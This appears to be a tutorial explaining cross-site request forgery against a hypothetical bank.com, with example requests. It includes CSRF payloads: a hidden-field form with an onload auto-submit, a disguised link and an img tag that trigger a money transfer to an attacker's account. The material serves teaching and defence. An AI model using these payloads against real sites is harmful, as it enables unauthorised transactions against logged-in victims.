CSRF - HTTP POST Example

Assume bank.com provides a form that allows transferring money from a currently logged-in user to another bank account.

An example HTTP request may look like (for additional details on HTTP headers see: HTTP Cookie (Web Cookie, Internet Cookie, Browser Cookie, or Cookie) and Host)

POST /transfer HTTP/1.1
Host: bank.com
Cookie: JSESSIONID=randomid; Domain=bank.example.com; Secure; HttpOnly
Content-Type: application/x-www-form-urlencoded

amount=100.00&routingNumber=1234&account=9876

Now a user logs into bank.com, then without logging out, visit an evil website. The evil website contains an HTML page with the following form

<form action="https://bank.com/transfer" method="post">
	<input type="hidden" name="amount" value="100.00"/>
	<input type="hidden" name="routingNumber" value="evilsRoutingNumber"/>
	<input type="hidden" name="account" value="evilsAccountNumber"/>
	<input type="submit" value="Win Money!"/>
</form>

The user likes to win money, so they click on the submit button. In the process, you have unintentionally transferred $100 to a malicious user. This happens because, while the evil website cannot see your cookies, the cookies associated with your bank are still sent along with the request.

However, the form can be submitted automatically using Javascript – as follows:

<body onload="document.forms[0].submit()">
<form>
...

CSRF - HTTP GET Example

Let’s consider the following GET request used by logged-in users to transfer money to a specific bank account “1234”:

GET /transfer?accountNo=1234&amount=100 HTTP/1.1
Host: bank.com
Cookie: JSESSIONID=randomid; Domain=bank.example.com; Secure; HttpOnly

If the attacker wants to transfer money from a victims’ account to his own account instead – “5678” – he needs to make the victim trigger the request:

GET /transfer?accountNo=5678&amount=1000 HTTP/1.1
Host: bank.com
Cookie: JSESSIONID=randomid; Domain=bank.example.com; Secure; HttpOnly

This works because, while the attacker cannot see your cookies, the cookies associated with your bank are still sent along with the request.

There are multiple ways an attacker can make that happen:

Link

The attacker can use a <a/> tag and convince the victim to click on this link. For example, to execute the transfer

<a href="http://bank.com/transfer?accountNo=5678&amount=1000">Show Kittens Pictures</a>

Image

The attacker may use an <img/> tag with the target URL as the image source – so the click isn’t even necessary. The request will be automatically executed when the page loads

<img src="http://bank.com/transfer?accountNo=5678&amount=1000"/>